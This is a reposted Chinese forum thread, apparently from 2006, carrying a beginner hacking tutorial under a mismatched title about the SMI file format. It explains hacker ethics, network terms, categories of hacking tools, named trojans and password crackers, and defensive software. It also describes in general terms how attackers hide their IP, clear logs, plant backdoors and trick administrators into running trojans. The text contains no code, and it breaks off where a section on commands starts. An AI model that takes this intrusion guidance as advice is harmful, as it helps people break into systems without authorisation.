smi文件格式说明:菜鸟变黑客的教程(2)

来源:百度文库 编辑:中财网 时间:2024/05/02 01:21:39
一、学习技术

互联网上的新技术一旦出现,黑客就必须立刻学习,并用最短的时间掌握这项技术,这里所说的掌握并不是一般的了解,而是阅读有关的“协议”(rfc)、深入了解此技术的机理,否则一旦停止学习,那么依*他以前掌握的内容,并不能维持他的“黑客身份”超过一年。
初级黑客要学习的知识是比较困难的,因为他们没有基础,所以学习起来要接触非常多的基本内容,然而今天的互联网给读者带来了很多的信息,这就需要初级学习者进行选择:太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多,应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。

二、伪装自己:

黑客的一举一动都会被服务器记录下来,所以黑客必须伪装自己使得对方无法辨别其真实身份,这需要有熟练的技巧,用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙躲开防火墙等。
伪装是需要非常过硬的基本功才能实现的,这对于初学者来说成的上“大成境界”了,也就是说初学者不可能用短时间学会伪装,所以我并不鼓励初学者利用自己学习的知识对网络进行攻击,否则一旦自己的行迹败露,最终害的害是自己。
如果有朝一日你成为了真正的黑客,我也同样不赞成你对网络进行攻击,毕竟黑客的成长是一种学习,而不是一种犯罪。

三、发现漏洞:

漏洞对黑客来说是最重要的信息,黑客要经常学习别人发现的漏洞,并努力自己寻找未知漏洞,并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验,当然他们最终的目的是通过漏洞进行破坏或着修补上这个漏洞。
黑客对寻找漏洞的执著是常人难以想象的,他们的口号说“打破权威”,从一次又一次的黑客实践中,黑客也用自己的实际行动向世人印证了这一点——世界上没有“不存在漏洞”的程序。在黑客眼中,所谓的“天衣无缝”不过是“没有找到”而已。

四、利用漏洞:

对于正派黑客来说,漏洞要被修补;对于邪派黑客来说,漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”,黑客利用漏洞可以做下面的事情:
1、获得系统信息:有些漏洞可以泄漏系统信息,暴露敏感资料,从而进一步入侵系统;
2、入侵系统:通过漏洞进入系统内部,或取得服务器上的内部资料、或完全掌管服务器;
3、寻找下一个目标:一个胜利意味着下一个目标的出现,黑客应该充分利用自己已经掌管的服务器作为工具,寻找并入侵下一个系统;
4、做一些好事:正派黑客在完成上面的工作后,就会修复漏洞或者通知系统管理员,做出一些维护网络安全的事情;
5、做一些坏事:邪派黑客在完成上面的工作后,会判断服务器是否还有利用价值。如果有利用价值,他们会在服务器上植入木马或者后门,便于下一次来访;而对没有利用价值的服务器他们决不留情,系统崩溃会让他们感到无限的快感! 

==================================================


二.黑客应掌握的基本技能



从这一节开始,我们就真正踏上学习黑客的道路了,首先要介绍的是作为一名初级黑客所必须掌握的基本技能,学习这可以通过这一节的阅读了解到黑客并不神秘,而且学习起来很容易上手。为了保证初学者对黑客的兴趣,所以本书采取了循环式进度,也就是说每一章节的内容都是独立、全面的,学习者只有完整的学习过一章的内容,才能够进而学习下一章的内容。

一、了解一定量的英文:

学习英文对于黑客来说非常重要,因为现在大多数资料和教程都是英文版本,而且有关黑客的新闻也是从国外过来的,一个漏洞从发现到出现中文介绍,需要大约一个星期的时间,在这段时间内网络管理员就已经有足够的时间修补漏洞了,所以当我们看到中文介绍的时候,这个漏洞可能早就已经不存在了。因此学习黑客从一开始就要尽量阅读英文资料、使用英文软件、并且及时关注国外著名的网络安全网站。

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

2楼


二、学会基本软件的使用:

这里所说的基本软件是指两个内容:一个是我们日常使用的各种电脑常用命令,例如ftp、ping、net等;另一方面还要学会有关黑客工具的使用,这主要包括端口扫描器、漏洞扫描器、信息截获工具和密码破解工具等。因为这些软件品种多,功能各不相同,所以本书在后面将会介绍几款流行的软件使用方法,学习者在掌握其基本原理以后,既可以选择适合自己的,也可以在“第二部分”中找到有关软件的开发指南,编写自己的黑客工具。

三、初步了解网络协议和工作原理:

所谓“初步了解”就是“按照自己的理解方式”弄明白网络的工作原理,因为协议涉及的知识多且复杂,所以如果在一开始就进行深入研究,势必会大大挫伤学习积极性。在这里我建议学习者初步了解有关tcp/ip协议,尤其是浏览网页的时候网络是如何传递信息、客户端浏览器如何申请“握手信息”、服务器端如何“应答握手信息”并“接受请求”等内容,此部分内容将会在后面的章节中进行具体介绍。

四、熟悉几种流行的编程语言和脚本:

同上面所述一样,这里也不要求学习者进行深入学习,只要能够看懂有关语言、知道程序执行结果就可以了。建议学习者初步学习C语言、asp和cgi脚本语言,另外对于htm超文本语言和php、java等做基本了解,主要学习这些语言中的“变量”和“数组”部分,因为语言之间存在内在联系,所以只要熟练掌握其中一们,其他语言也可以一脉相同,建议学习C语言和htm超文本语言。

五、熟悉网络应用程序:

网络应用程序包括各种服务器软件后台程序,例如:wuftp、Apache等服务器后台;还有网上流行的各种论坛、电子社区。有条件的学习者最好将自己的电脑做成服务器,然后安装并运行一些论坛代码,经过一番尝试之后,将会感性的弄清楚网络工作原理,这比依*理论学习要容易许多,能够达到事半功倍的效果! 

==================================================


网络安全术语解释

一、协议:

网络是一个信息交换的场所,所有接入网络的计算机都可以通过彼此之间的物理连设备行信息交换,这种物理设备包括最常见的电缆、光缆、无线WAP和微波等,但是单纯拥有这些物理设备并不能实现信息的交换,这就好像人类的身体不能缺少大脑的支配一样,信息交换还要具备软件环境,这种“软件环境”是人类实现规定好的一些规则,被称作“协议”,有了协议,不同的电脑可以遵照相同的协议使用物理设备,并且不会造成相互之间的“不理解”。

这种协议很类似于“摩尔斯电码”,简单的一点一横,经过排列可以有万般变化,但是假如没有“对照表”,谁也无法理解一分杂乱无章的电码所表述的内容是什么。电脑也是一样,它们通过各种预先规定的协议完成不同的使命,例如RFC1459协议可以实现IRC服务器与客户端电脑的通信。因此无论是黑客还是网络管理员,都必须通过学习协议达到了解网络运作机理的目的。

每一个协议都是经过多年修改延续使用至今的,新产生的协议也大多是在基层协议基础上建立的,因而协议相对来说具有较高的安全机制,黑客很难发现协议中存在的安全问题直接入手进行网络攻击。但是对于某些新型协议,因为出现时间短、考虑欠周到,也可能会因安全问题而被黑客利用。

对于网络协议的讨论,更多人则认为:现今使用的基层协议在设计之初就存在安全隐患,因而无论网络进行什么样的改动,只要现今这种网络体系不进行根本变革,从根本上就无法杜绝网络黑客的出现。但是这种黑客机能已经超出了本书的范围,因而不在这里详细介绍。

二、服务器与客户端:

最简单的网络服务形式是:若干台电脑做为客户端,使用一台电脑当作服务器,每一个客户端都具有向服务器提出请求的能力,而后由服务器应答并完成请求的动作,最后服务器会将执行结果返回给客户端电脑。这样的协议很多。例如我们平时接触的电子邮件服务器、网站服务器、聊天室服务器等都属于这种类型。另外还有一种连接方式,它不需要服务器的支持,而是直接将两个客户端电脑进行连接,也就是说每一台电脑都既是服务器、又是客户端,它们之间具有相同的功能,对等的完成连接和信息交换工作。例如DCC传输协议即属于此种类型。

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

3楼


从此看出,客户端和服务器分别是各种协议中规定的请求申请电脑和应答电脑。作为一般的上网用户,都是操作着自己的电脑(客户端),别且向网络服务器发出常规请求完成诸如浏览网页、收发电子邮件等动作的,而对于黑客来说则是通过自己的电脑(客户端)对其他电脑(有可能是客户端,也有可能是服务器)进行攻击,以达到入侵、破坏、窃取信息的目的。

三、系统与系统环境:

电脑要运作必须安装操作系统,如今流行的操作系统主要由UNIX、Linux、Mac、BSD、Windows2000、Windows95/98/Me、Windows NT等,这些操作系统各自独立运行,它们有自己的文件管理、内存管理、进程管理等机制,在网络上,这些不同的操作系统既可以作为服务器、也可以作为客户端被使用者操作,它们之间通过“协议”来完成信息的交换工作。
不同的操作系统配合不同的应用程序就构成了系统环境,例如Linux系统配合Apache软件可以将电脑构设成一台网站服务器,其他使用客户端的电脑可以使用浏览器来获得网站服务器上供浏览者阅读的文本信息;再如Windows2000配合Ftpd软件可以将电脑构设成一台文件服务器,通过远程ftp登陆可以获得系统上的各种文件资源等。

四、IP地址和端口:

我们上网,可能会同时浏览网页、收发电子邮件、进行语音聊天……如此多的网络服务项目,都是通过不同的协议完成的,然而网络如此之大,我们的电脑怎么能够找到服务项目所需要的电脑?如何在一台电脑上同时完成如此多的工作的呢?这里就要介绍到IP地址了。
每一台上网的电脑都具有独一无二的IP地址,这个地址类似于生活中人们的家庭地址,通过网络路由器等多种物理设备(无需初级学习者理解),网络可以完成从一个电脑到另一个电脑之间的信息交换工作,因为他们的IP地址不同,所以不会出现找不到目标的混乱局面。但是黑客可以通过特殊的方法伪造自己电脑的IP地址,这样当服务器接受到黑客电脑(伪IP地址)的请求后,服务器会将应答信息传送到伪IP地址上,从而造成网络的混乱。当然,黑客也可以根据IP地址轻易的找到任何上网者或服务器,进而对他们进行攻击(想想现实中的入室抢劫),因而如今我们会看到很多关于《如何隐藏自己IP地址》的文章。
接下来我解释一下上面提到的第二个问题:一台电脑上为什么能同时使用多种网络服务。这好像北京城有八个城门一样,不同的协议体现在不同的网络服务上,而不同的网络服务则会在客户端电脑上开辟不同的端口(城门)来完成它的信息传送工作。当然,如果一台网络服务器同时开放了多种网络服务,那么它也要开放多个不同的端口(城门)来接纳不同的客户端请求。

网络上经常听到的“后门”就是这个意思,黑客通过特殊机能在服务器上开辟了一个网络服务,这个服务可以用来专门完成黑客的目的,那么服务器上就会被打开一个新的端口来完成这种服务,因为这个端口是供黑客使用的,因而轻易不会被一般上网用户和网络管理员发现,即“隐藏的端口”,故“后门”。

每一台电脑都可以打开65535个端口,因而理论上我们可以开发出至少65535种不同的网络服务,然而实际上这个数字非常大,网络经常用到的服务协议不过几十个,例如浏览网页客户端和服务端都使用的是80号端口,进行IRC聊天则在服务端使用6667端口、客户端使用1026端口等。

五、漏洞:

漏洞就是程序中没有考虑到的情况,例如最简单的“弱口令”漏洞是指系统管理员忘记屏蔽某些网络应用程序中的账号;Perl程序漏洞则可能是由于程序员在设计程序的时候考虑情况不完善出现的“让程序执行起来不知所措”的代码段,“溢出”漏洞则属于当初设计系统或者程序的时候,没有预先保留出足够的资源,而在日后使用程序是造成的资源不足;特殊IP包炸弹实际上是程序在分析某些特殊数据的时候出现错误等……

总而言之,漏洞就是程序设计上的人为疏忽,这在任何程序中都无法绝对避免,黑客也正是利用种种漏洞对网络进行攻击的,本章开始的字眼儿“网络安全”实际就是“漏洞”的意思。黑客利用漏洞完成各种攻击是最终的结果,其实真正对黑客的定义就是“寻找漏洞的人”,他们并不是以网络攻击为乐趣,而是天天沉迷在阅读他人的程序并力图找到其中的漏洞。应该说,从某种程度上讲,黑客都是“好人”,他们为了追求完善、建立安全的互联网才投身此行的,只不过因为有的黑客或者干脆是伪黑客经常利用具有攻击性的漏洞,近些年人们才对黑客有了畏惧和敌视的心理。

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

4楼


六、加密与解密:

在“协议”的讲解中,我提到了“由于网络设计的基层存在问题……”,简单的说这一问题是允许所有上网者参与信息共享,因而对某些商业、个人隐私在网络上的传送,就会暴露在众目睽睽之下,我们的信用卡、个人电子邮件等都可以通过监听或者截获的方式被他人的到,如何才能让这些信息安全呢?读者也许想到了“二战中”的间谍战:参战国家在使用电报的时候,都对代码进行了加密处理,只有知道了“密码薄”的接收者,才可以进行译码工作。正是这种古老的加密方式,在现代化的网络上也依然存在它旺盛的生命力,通过加密处理的信息在网络上传送,无论谁拿到了这份文件,只要没有“密码薄”仍然是白费力气的。
网络上最长使用的是设置个人密码、使用DES加密锁,这两种加密方式分别可以完成用户登陆系统、网站、电子邮件信箱和保护信息包的工作,而黑客所要进行的工作,就是通过漏洞、暴力猜测、加密算法反向应用等方式获得加密档案的明文,有人把“魔高一尺、道高一仗”用在这里,的确是在恰当不过了!网络上的加密方法和需要验证密码的系统层出不穷,黑客也在寻找破解这些系统的种种办法。

可以说,“漏洞”和“解密”是两个完全不同的黑客领域,对于不同的学习者对他们的偏好,将会直接影响到今后将会成为的黑客类型,因而在二者之间的选择,应根据个人喜好进行,本书将会侧重学习“漏洞”方面的知识。

七、特洛伊木马:

特洛伊木马是一个程序,这个程序可以做程序设计者有意设计的未出现过的事情。但是对于特洛伊木马所做的操作,不论是否用户了解,都是不被赞同的。根据某些人的认识,病毒是特洛伊木马的一个特例,即:能够传播到其他的程序当中(也就是将这些程序也变成特洛伊木马)。根据另外的人的理解,不是有意造成任何损坏的病毒不是特洛伊木马。最终,不论如何定义,许多人仅仅用“特洛伊木马”来形容不能复制的带有恶意的程序,以便将特洛伊木马与病毒区分开。 

==================================================


四.常用黑客软件性质分类

一、扫描类软件:

扫描是黑客的眼睛,通过扫描程序,黑客可以找到攻击目标的IP地址、开放的端口号、服务器运行的版本、程序中可能存在的漏洞等。因而根据不同的扫描目的,扫描类软件又分为地址扫描器、端口扫描器、漏洞扫描器三个类别。在很多人看来,这些扫描器获得的信息大多数都是没有用处的,然而在黑客看来,扫描器好比黑客的眼睛,它可以让黑客清楚的了解目标,有经验的黑客则可以将目标“摸得一清二楚”,这对于攻击来说是至关重要的。同时扫描器也是网络管理员的得力助手,网络管理员可以通过它既是了解自己系统的运行状态和可能存在的漏洞,在黑客“下手”之前将系统中的隐患清除,保证服务器的安全稳定。

现在网络上很多扫描器在功能上都设计的非常强大,并且综合了各种扫描需要,将各种功能集成于一身。这对于初学网络安全的学习者来说无疑是个福音,因为只要学习者手中具备一款优秀的扫描器,就可以将信息收集工作轻松完成,免去了很多繁琐的工作。但是对于一个高级黑客来说,这些现成的工具是远远不能胜任的,他们使用的程序大多自己编写开发,这样在功能上将会完全符合个人意图,而且可以针对新漏洞既是对扫描器进行修改,在第一时间获得最宝贵的目标资料。本书此部分将会介绍扫描器的具体使用方法,而在第二部分中则会具体讲述如何开发这些扫描器,请读者务必循序渐进,否则将会给自己的学习带来很多不必要的烦恼。

二、远程监控类软件:

远程监控也叫做“木马”,这种程序实际上是在服务器上运行一个客户端软件,而在黑客的电脑中运行一个服务端软件,如此一来,服务器将会变成黑客的服务器的“手下”,也就是说黑客将会利用木马程序在服务器上开一个端口,通过这种特殊的木马功能对服务器进行监视、控制。因此,只要学习者掌握了某个木马的使用和操作方法,就可以轻易接管网络服务器或者其他上网者的电脑。

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

5楼


在控制了服务器之后,黑客的攻击行动也就接近尾声了,然而在做这件事情之前,黑客必须想办法让服务器运行自己木马的那个“客户端程序”,这就需要利用漏洞或者进行欺骗。欺骗最简单,就是想办法让操作服务器的人(系统管理员之类)运行黑客的客户端程序,而利用漏洞则要初学者阅读完本书后面的内容才能够做到了。

三、病毒和蠕虫:

首先声明一下:编写病毒的做法并不属于黑客。病毒只不过是一种可以隐藏、复制、传播自己的程序,这种程序通常具有破坏作用,虽然病毒可以对互联网造成威胁,然而它并没有试图寻找程序中的漏洞,所以制作病毒还有病毒本身对黑客的学习都没有实际意义。

之所以提到病毒,是因为蠕虫和病毒有很多相似性,如虫也是一段程序,和病毒一样具有隐藏、复制、船舶自己的功能。不同的是蠕虫程序通常会寻找特定的系统,利用其中的漏洞完成传播自己和破坏系统的作用,另外蠕虫程序可以将收到攻击的系统中的资料传送到黑客手中,这要看蠕虫设计者的意图,因而蠕虫是介于木马和病毒之间的一类程序。

计算机蠕虫是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其他的计算机系统中(通常是经过网络连接)。蠕虫的制造需要精深的网络知识,还要具备高超的编程水平,对于一个初学黑客的学习者来说,蠕虫的制造和使用都是非常难理解的,并且大多数蠕虫攻击的对象是Linux系统,而本书所使用的学习平台是Windows 95/98或Windows NT/2000,因而我同样建议初学者不要过多的涉及这部分内容,有关此部分内容也将会在《攻学兼防》的第二部分中有所介绍。

四、系统攻击和密码破解:

这类软件大多数都是由高级黑客编写出来的,供初级黑客使用的现成软件,软件本身不需要使用者具备太多的知识,使用者只要按照软件的说明操作就可以达到软件的预期目的,因而这类软件不具备学习黑客知识的功效。不过这类软件对于黑客很重要,因为它可以大幅度减小黑客的某些繁琐工作,使用者经过对软件的设置就可以让软件自动完成重复的工作,或者由软件完成大量的猜测工作,充分利用剩余时间继续学习网络知识。

系统攻击类软件主要分为信息炸弹和破坏炸弹。网络上常见的垃圾电子邮件就是这种软件的“杰作”,还有聊天室中经常看到的“踢人”、“骂人”类软件、论坛的垃圾灌水器、系统蓝屏炸弹也都属于此类软件的变异形式。如果学习者能够认真学习黑客知识,最终可以自己编写类似的工具,但如果某个人天天局限于应用此类软件上,他将永远是一个“伪黑客”。
密码破解类软件和上面的软件一样,完全依*它将对学习黑客毫无帮助。对于真正的黑客来说,这种软件可以帮助寻找系统登陆密码,相对于利用漏洞,暴力破解密码要简单许多,但是效率会非常低,但是真正的黑客无论是使用密码破解软件还是利用漏洞进入系统之后,都达到了自己入侵的目的,因此对于如何进入系统,对于某些溺爱系统攻击的黑客来说无关紧要。值得一提的是:真正执著于漏洞分析的黑客是从来不使用这种软件的,而我向来将分析漏洞作为至高无上的工作,所以也尽量不去接触此类软件。

五、监听类软件:

通过监听,黑客可以截获网络的信息包,之后对加密的信息包进行破解,进而分析包内的数据,获得有关系统的信息;也可能截获个人上网的信息包,分析的到上网账号、系统账号、电子邮件账号等个人隐私资料。监听类软件最大的特点在于它是一个亦正亦邪的,因为网络数据大多经过加密,所以用它来获得密码比较艰难,因而在更多的情况下,这类软件是提供给程序开发者或者网络管理员的,他们利用这类软件进行程序的调试或服务器的管理工作。 

==================================================


五.常用黑客软件用途分类


一、防范:

这是从安全的角度出发涉及的一类软件,例如防火墙、查病毒软件、系统进程监视器、端口管理程序等都属于此类软件。这类软件可以在最大程度上保证电脑使用者的安全和个人隐私,不被黑客破坏。网络服务器对于此类软件的需要也是十分重视的,如日志分析软件、系统入侵软件等可以帮助管理员维护服务器并对入侵系统的黑客进行追踪。

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

6楼


二、信息搜集:

信息搜集软件种类比较多,包括端口扫描、漏洞扫描、弱口令扫描等扫描类软件;还有监听、截获信息包等间谍类软件,其大多数属于亦正亦邪的软件,也就是说无论正派黑客、邪派黑客、系统管理员还是一般的电脑使用者,都可以使用者类软件完成各自不同的目的。在大多数情况下,黑客使用者类软件的频率更高,因为他们需要依*此类软件对服务器进行全方位的扫描,获得尽可能多的关于服务器的信息,在对服务器有了充分的了解之后,才能进行黑客动作。

三、木马与蠕虫:

这是两种类型的软件,不过他们的工作原理大致相同,都具有病毒的隐藏性和破坏性,另外此类软件还可以由拥有控制权的人进行操作,或由事先精心设计的程序完成一定的工作。当然这类软件也可以被系统管理员利用,当作远程管理服务器的工具。

四、洪水:

所谓“洪水”即信息垃圾炸弹,通过大量的垃圾请求可以导致目标服务器负载超负荷而崩溃,近年来网络上又开始流行DOS分散式攻击,简单地说也可以将其归入此类软件中。洪水软件还可以用作邮件炸弹或者聊天式炸弹,这些都是经过简化并由网络安全爱好者程序化的“傻瓜式”软件,也就是本书一开始指责的“伪黑客”手中经常使用的软件。

五、密码破解:

网络安全得以保证的最实用方法是依*各种加密算法的密码系统,黑客也许可以很容易获得一份暗文密码文件,但是如果没有加密算法,它仍然无法获得真正的密码,因此使用密码破解类软件势在必行,利用电脑的高速计算能力,此类软件可以用密码字典或者穷举等方式还原经过加密的暗文。

六、欺骗:

如果希望获得上面提到的明文密码,黑客需要对暗文进行加密算法还原,但如果是一个复杂的密码,破解起来就不是那么简单了。但如果让知道密码的人直接告诉黑客密码的原型,是不是更加方便?欺骗类软件就是为了完成这个目的而设计的。

七、伪装:

网络上进行的各种操作都会被ISP、服务器记录下来,如果没有经过很好的伪装就进行黑客动作,很容易就会被反跟踪技术追查到黑客的所在,所以伪装自己的IP地址、身份是黑客非常重要的一节必修课,但是伪装技术需要高深的网络知识,一开始没有坚实的基础就要用到这一类软件了。 





==================================================


学习黑客的基本环境


一、操作系统的选择:

我们经常听说黑客酷爱Linux系统,这是因为Linux相对Windows提供了更加灵活的操作方式,更加强大的功能。例如对于IP地址的伪造工作,利用Linux系统编写特殊的IP头信息可以轻松完成,然而在Windows系统下却几乎不可能做到。但是Linux也有它不足的一面,这个系统的命令庞杂、操作复杂,并不适合初学者使用,而且对于个人学习者,并没有过多的人会放弃“舒适”的Windows、放弃精彩的电脑游戏和便捷的操作方式,去全心投入黑客学习中。而且对于初学黑客的学习者来说,大多数网络知识都可以在Windows系统中学习,相对Linux系统,Windows平台下的黑客软件也并不在少数,另外通过安装程序包,Windows系统中也可以调试一定量的程序,因此初步学习黑客没有必要从Linux入手。

本书使用的平台WindowsME,因为对于个人用户来说,NT或者2000多少有些苛刻——系统配置要求太高;然而使用95或者98又缺少某些必要的功能——NET、TELNET命令不完善。但是本书的大部分内容测试漏洞,从远程服务器出发,所以也不是非要WindowsME操作系统进行学习,对于少数系统版本之间的差异,学习者可以和我联系获得相应系统的学习方法。

二、需要的常用软件:

除了基本的操作系统以外,学习者还需要安装各类扫描器,之后下载一个比较优秀的木马软件、一个监听类软件,除此以外别无它求。如果有必要,读者可以自行安装本文上述软件,然后学习其用法,但是我要告诉你,对于各类炸弹、还有网络上各式各样的黑客软件,在学习完本书后,你都可以自己制作、自己开发,根本没有必要使用他人编写的软件。

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

7楼

对于扫描器和监听软件,我给出以下建议,并且在本书的后面还会对这几个软件进行详细介绍:

扫描器:

监听软件:

木马:

三、额外的工具:

如果可以安装下面的工具,将会对学习黑客有莫大的帮助,当然下面的软件主要是学习额外内容并为“第二部分”学习作铺垫用的,所以没有也不会妨碍本书的学习。

1、后台服务器:

拥有某些网络应用的后台服务程序,可以将自己的电脑设置成一个小型服务器,用来学习相应的网络应用,从“内部”了解其运作机理,这将会大大提高自己对服务器的感性认识,同时还能够在激活服务器的时候;监测自己服务器上的数据,如果有其他黑客来攻击,则可以清晰的记录下对方的攻击过程,从而学习到更多的黑客攻击方法。对于本书而言,主要介绍网站的Perl和asp等脚本语言漏洞,所以可以安装一个IIS或者HTTPD。然后在安装ActivePerl,使自己的服务器具备编译cgi和pl脚本的能力。使用自己的服务器还有一个好处,可以节省大量的上网时间,将学习、寻找漏洞的过程放到自己的电脑上,既节省了金钱、有不会对网络构成威胁,一举两得。

2、C语言编译平台:

今后在学习黑客的路途中,将会遇到很多“属于自己的问题”,这些问题网络上的其他人可能不会注意,所以无法找到相应的程序,这个时候学习者就要自己动手开发有关的工具了,所以安装一个Borland C++将会非常便捷,通过这个编译器,学习者既可以学习C语言,也能够修改本书后面列出的一些小程序,打造一个属于自己的工具库。

四、网络安全软件分类

现在我们来了解一下有关网络安全软件的分类,因为学习黑客知识是两个相互联系的过程:既学习如何黑,还要学会如何防止被黑。

1、防火墙:

这是网络上最常见的安全机制软件,防火墙有硬件的、也有软件的,大多数读者看到的可能更多都是软件防火墙。其功能主要是过滤垃圾信息(保证系统不会受到炸弹攻击)、防止蠕虫入侵、防止黑客入侵、增加系统隐私性(对敏感数据进行保护)、实时监控系统资源,防止系统崩溃、定期维护数据库,备份主要信息……防火墙可以将系统本身的漏洞修补上,让黑客没有下手的机会。另外对于拥有局域网的企业来说,防火墙可以限制系统端口的开放,禁止某些网络服务(杜绝木马)。

2、检测软件:

互联网上有专门针对某个黑客程序进行清除的工具,但是这类软件更多是集成在杀毒软件或者防火墙软件内的,对于系统内的木马、蠕虫可以进行检测并清除,软件为了保护系统不受侵害,会自动保护硬盘数据、自动维护注册表文件、检测内容可以代码、监测系统端口开放状态等。如果用户需要,软件还可以编写有关的脚本对指定端口进行屏蔽(防火墙一样具备此功能)。

3、备份工具:

专门用来备份数据的工具可以帮助服务器定期备份数据,并在制定时间更新数据,这样即便黑客破坏了服务器上的数据库,软件也可以在短时间内完全修复收到入侵的数据。另外对于个人用户,这类软件可以对硬盘进行完全映像备份,一旦系统崩溃,用户利用这类软件可以将系统恢复到原始状态,例如Ghost就是这类软件中的佼佼者。

4、日志纪录、分析工具:

对于服务器来说,日志文件是必不可少的,管理员可以通过日志了解服务器的请求类型和请求来源,并且根据日志判断系统是否受到黑客攻击。通过日志分析软件,管理员可以轻松的对入侵黑客进行反追踪,找到黑客的攻击来源,进而抓不黑客。这也就是为什么黑客在攻击的时候多采用IP地址伪装、服务器跳转,并在入侵服务器之后清除日志文件的原因。

==================================================

网络流行黑客软件简介
(因主要教大家防御而不是攻击,因此暂时不提供相关的软件下载,需要研究的朋友可以去网络搜索。稍后将有软件的详细使用说明)

一、国产经典软件简介(先介绍写老软件,但其在国产黑客业内有举足轻重的作用。)

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

8楼


溯雪

密码探测器:利用溯雪可以轻松的完成基于web形式的各种密码猜测工作,例如email、forum中的注册用户密码等。软件采取多线程编写,除了支持字典和穷举以外,软件最大的特色是可以自己编写猜测规则,例如可以按照中文拼音或者英文单词拼写规则随机组合出字典文件,最大程度上保证了猜测的准确性。

乱刀

密码破解:乱刀可以破解unix系统中的密码暗文,对于取得了etc/passwd文件的黑客来说这是必不可少的。

天网

防火墙软件:中国第一套通过公安部认证的软硬件集成防火墙,能有效的防止黑客入侵,抵御来自外部网络的攻击,保证内部系统的资料不被盗取,它根据系统管理者设定的安全规则把守企业网络,提供强大的访问控制、身份认证、应用选通、网络地址转换、信息过滤、虚拟专网、流量控制、虚拟网桥等功能。

冰河

木马类软件:国内响当当的木马软件,知名度绝不亚于BO,主要用于远程监控。自动跟踪屏幕变化、记录各种口令信息、获取系统信息、限制系统功能、任意操作文件及注册表、远程关机、发送信息等多种监控功能。此软件的一大特色是可以由使用者自己设置需要占用的端口,如此一来监控类软件就很难从端口号上直接判断系统是否存在冰河了。

小分析家

监测类软件:免费网络协议分析工具,这个工具的特点是界面简单实用,与国外的一些sniffer产品相比,如Netxray,结果更为直观。此软件为免费版本,只能运行在NT系统下,同时编写此软件的公司还提供了软件的商业版本“网警”。

快速搜索

端口扫描器:快速搜索是一个在网络上搜索服务器的软件,可以根据给定的地址和端口号查找机器。具有多线程同时搜索技术,可以将搜索速度提高到单线程的十倍以上。
其他:针对2000/XP扫描的D-TOOLS等。

二、常见网络安全软件简介

Local Port Scanner

本地端口扫描器:通过这个软件可以监测本地电脑被打开的端口。此软件可以监测大多数黑客入侵或者木马占用的端口,它有五种不同的扫描方式并可以获得有关端口的详细扫描信息。

A-spy

系统进程察看器:A-spy可以监测Windows系统启动过程中调用的所有程序、执行的进程,并将结果保存在日志文件中。这个软件的用途是检察系统是否被安置了木马程序,同时软件还可以对系统启动需要调用的程序进行增加、删除和编辑等操作,改变调用程序之间的先后顺序,软件支持包括NT、2000在内的所有Windows平台,具有17种方式清楚木马程序。

Netmon

图形化Netstat命令:Netmon是图形化的Netstat命令,它运行在Windows系统中,可以察看系统的TCP、UDP连接状态,同时此软件提供了一份完整的木马、蠕虫占用端口清单,可以快速了解系统是否存在安全问题。

LANguard Network Scanner

局域网资料收集器:LANguard允许使用者扫描局域网内部的搜索电脑,搜集他们的netbios信息、打开端口、共享情况和其他相关资料,这些资料及可以被黑客利用进行攻击,也可以被管理员利用进行安全维护,通过它可以强行关闭指定端口和共享目录。

Leechsoft's NetMonitor

TCP/IP状态分析程序:这个软件使用于系统安全管理员、网络程序开发员、一般的拥护。此工具可以显示电脑在上网状态下存在的TCP/IP连接,同时还能分析是否有其他人正在监视上网者电脑中的某个端口,同时此工具内部还有一个功能强大的端口扫描程序。

Win Trinoo Server Sniper

清除Win.Trinoo Server程序:Win.Trinoo是一个类似DOS攻击的木马程序,被植入它的电脑将变成一台Win.Trinoo Server,黑客通过这个Server能够“借刀杀人”攻击其他电脑系统。Win Trinoo Server Sniper可以高速的监测电脑是否存在此问题。

SubSeven Server Sniper

清除SubSeven Server程序:同上面的工具一样,SubSeven也是一个木马程序,而SubSeven Server Sniper则是用来检测并清除SubSeven而设计的。不同的是,这个软件不但可以清楚SubSeven,而且还能搜集攻击者在您电脑中留下的蛛丝马迹,找到攻击者的ICQ号码、email地址等内容,从而为反跟踪提供了详尽的信息。

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

9楼


Attacker

端口监听程序:这是一个TCP/UDP端口监听程序,它可以常驻系统并在危险端口打开的时候发出警告信息,保证个人上网隐私的安全性。

ICEWatch

BlackICE插件:这个插件可以完善BlackICE的结果列表,让列表更加详尽,同时该插件还提供了更好的结果分类查询功能,并且可以对结果进行复制、编辑等操作。另外此插件为BlackICE提供了声音,可以设置软件使用过程中的提醒、警告的音效。

Isecure IP Scanner

netbios共享扫描器:黑客利用netbios的共享可以进入存在问题的电脑并对硬盘进行操作,同时还可以获得入侵电脑上的隐私资料。这个扫描器就是专门为防止此类事件发生开发的,运行软件会自动扫描目标并报告有关资料。

AnalogX Port Blocker

端口屏蔽程序:当使用者的电脑上开放某个端口的时候,任何人都可以通过其开放端口访问相应资源,而AnalogX Port Blocker可以屏蔽某个端口,或者设置特殊IP地址禁止对指定端口的请求,这从一定程度上方便了程序调试人员为在本地系统上从事软件的测试工作。

Tambu Dummy Server

端口屏蔽程序:这个工具同上面一个程序的功能是一样的,不过不同的是,这个工具是基于控制台模式,更加适合于高手。

Tambu Registry Edit

注册表修改程序:该程序可以让使用者手动修改系统注册表中的各项键值,从而改变系统的性能,同时软件中保存了网络上常见的具有破坏性程序的资料,可以迅速确定系统注册表中是否有可疑程序,并提供了清除和备份等功能。


==================================================


黑客必学的六条系统命令

这里我补充下,见笑了,呵呵,想学入侵,一定要知道cmd下的命令,如用ipc$入侵等,我发现有些人只知道黑客工具的使用,dos命令却一个都不知,其实适当的熟悉一些命令也无妨!

如:刚装完系统,打开了默认共享,现在用dos命令建立一个批处理删除默认共享。如下:
先打开cmd窗口,输入
